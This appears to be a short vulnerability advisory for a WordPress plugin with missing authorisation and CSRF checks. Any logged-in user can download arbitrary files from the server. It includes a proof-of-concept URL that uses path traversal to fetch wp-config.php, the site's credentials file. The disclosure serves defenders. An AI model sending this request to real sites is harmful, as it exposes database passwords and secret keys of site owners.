The plugin does not have authorisation and proper CSRF checks, as well as does not validate the file to be downloaded, allowing any authenticated users, such as subscriber to download arbitrary file from the server
Open the following URL when being logged in as any user https://example.com/wp-admin/admin-ajax.php?action=ced_smsa_get_pfd_download&filename=../../../../wp-config.php
2022-11-22 (about 6 months ago)
2022-11-22 (about 6 months ago)
2022-11-22 (about 6 months ago)